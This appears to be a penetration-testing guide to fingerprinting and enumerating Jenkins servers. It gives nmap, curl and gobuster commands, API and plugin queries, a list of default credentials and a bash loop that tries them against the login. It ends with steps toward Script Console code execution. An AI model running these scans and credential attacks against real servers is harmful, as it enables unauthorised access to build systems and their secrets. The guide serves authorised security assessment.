Jenkins — Discovery & Enumeration

Jenkins is an open-source automation server commonly used for continuous integration and continuous deployment (CI/CD). It’s frequently found in development environments and increasingly in internal networks. Jenkins deployments often run with high privileges and contain access to sensitive systems.

Fingerprinting & Discovery

Port & Service Detection

Jenkins typically runs on port 8080 (or 8000, 8888, 9000 in non-standard configurations).

Nmap service detection:

nmap -sV -p 8000-9000 target.com

PORT     STATE SERVICE VERSION
8080/tcp open  http    Jenkins 2.303.1

HTTP Headers

Jenkins exposes version information in HTTP headers and page source:

curl -i http://target.com:8080/ | grep -i "jenkins\|x-jenkins"

Server: Jenkins/2.303.1
X-Jenkins: 2.303.1
X-Jenkins-Session: 1234abcd5678efgh

Jenkins Landing Page

The default Jenkins page at http://target.com:8080/ displays:

• Jenkins version prominently
• “Jenkins” branding throughout
• Login page with generic message
• Links to /manage (if anonymous access enabled)

Version Detection

Via HTTP headers:

curl -s http://target.com:8080/ | grep -oP 'Jenkins.*?(\d+\.\d+\.\d+)' | head -1
# Output: Jenkins 2.303.1

Via page source:

curl -s http://target.com:8080/ | grep -i "jenkins" | head -5

Via CLI:

curl -s http://target.com:8080/cli/ | grep version

Enumeration Techniques

Anonymous Access

Test if anonymous access is permitted:

curl -s http://target.com:8080/manage
# 200 = Access allowed (anonymous access enabled)
# 403 = Access denied
# 302 = Redirect to login

If anonymous access is enabled, users can:

• Browse jobs and builds
• View console outputs
• Create jobs (in some configurations)
• Access build artifacts

Directory Enumeration

Common Jenkins endpoints:

Gobuster scan:

gobuster dir -u http://target.com:8080/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt

/admin (Status: 403)
/manage (Status: 403)
/job (Status: 302)
/api (Status: 200)
/script (Status: 403)
/queue (Status: 403)
/login (Status: 200)

API Enumeration

Jenkins provides a JSON API for querying information:

Check accessible API:

curl -s http://target.com:8080/api/json | jq .

{
  "version": "2.303.1",
  "_class": "hudson.model.Hudson",
  "jobs": [
    {
      "name": "project-a",
      "url": "http://target.com:8080/job/project-a/"
    }
  ]
}

List all jobs:

curl -s http://target.com:8080/api/json?pretty=true | grep -A2 '"name"'

Job details:

curl -s http://target.com:8080/job/project-a/api/json | jq .

Build information:

curl -s http://target.com:8080/job/project-a/1/api/json | jq .

Plugin Enumeration

Jenkins plugins can be discovered through:

Via page source:

curl -s http://target.com:8080/ | grep -o 'pluginManager[^"]*' | sort -u

Via plugins API:

curl -s http://target.com:8080/pluginManager/api/json | jq '.plugins[] | .shortName, .version' 

Via plugin directory (if accessible):

curl -s http://target.com:8080/plugins/ 
# May reveal installed plugins in 404 error messages

Credential Testing

Default Credentials

Common Jenkins default credentials:

admin:admin
admin:password
jenkins:jenkins
admin:jenkins
admin:changeme
root:root

Credential Testing Methods

Via web interface:

1. Navigate to http://target.com:8080/login
2. Enter credentials
3. Check if login succeeds

Via cURL:

curl -u admin:admin http://target.com:8080/manage
# 200 = Valid credentials
# 401 = Invalid credentials
# 403 = Valid credentials, insufficient privileges

Automated testing:

#!/bin/bash
users=("admin" "jenkins" "root")
passwords=("admin" "password" "jenkins" "changeme" "root")

for user in "${users[@]}"; do
  for pass in "${passwords[@]}"; do
    response=$(curl -s -u "$user:$pass" -w "%{http_code}" http://target.com:8080/manage -o /dev/null)
    if [ "$response" -eq 200 ] || [ "$response" -eq 403 ]; then
      echo "[+] Valid: $user:$pass (HTTP $response)"
    fi
  done
done

Security Assessment

Key Findings

Configuration Review

Check authentication:

curl -s http://target.com:8080/manage 2>/dev/null | grep -i "security\|auth"

Check security realm:

curl -u admin:admin http://target.com:8080/manage 2>/dev/null | grep -i "security realm"

Common Misconfigurations

1. Anonymous access enabled — Allows unauthenticated users to:

   • View all jobs and builds
   • Access build console output
   • Read build artifacts (may contain secrets)
   • Create jobs (sometimes)

2. Weak authentication — Default or simple passwords easily brute-forced

3. No role-based access control — All authenticated users have admin access

4. Jenkins running as root — RCE results in root shell

5. Outdated plugins — Unpatched known vulnerabilities

6. Build scripts with secrets — Credentials visible in console output or logs

Pre-Exploitation Checklist

• Identify Jenkins version and note any known CVEs
• Test for anonymous/unauthenticated access
• Enumerate accessible jobs and build history
• Attempt common default credentials
• Check for exposed build artifacts or logs
• Identify Jenkins installation directory and running user
• Look for hardcoded credentials in build scripts
• Note any plugins and check for known vulnerabilities
• Determine if Script Console is accessible
• Document all findings for exploitation phase

Next Steps

Once enumeration is complete:

• If valid credentials found → attempt Script Console RCE
• If anonymous access → attempt job manipulation or artifact access
• If known CVE applies → attempt automated exploitation
• If outdated plugins → look for plugin-specific exploits
• If no direct RCE → extract information for lateral movement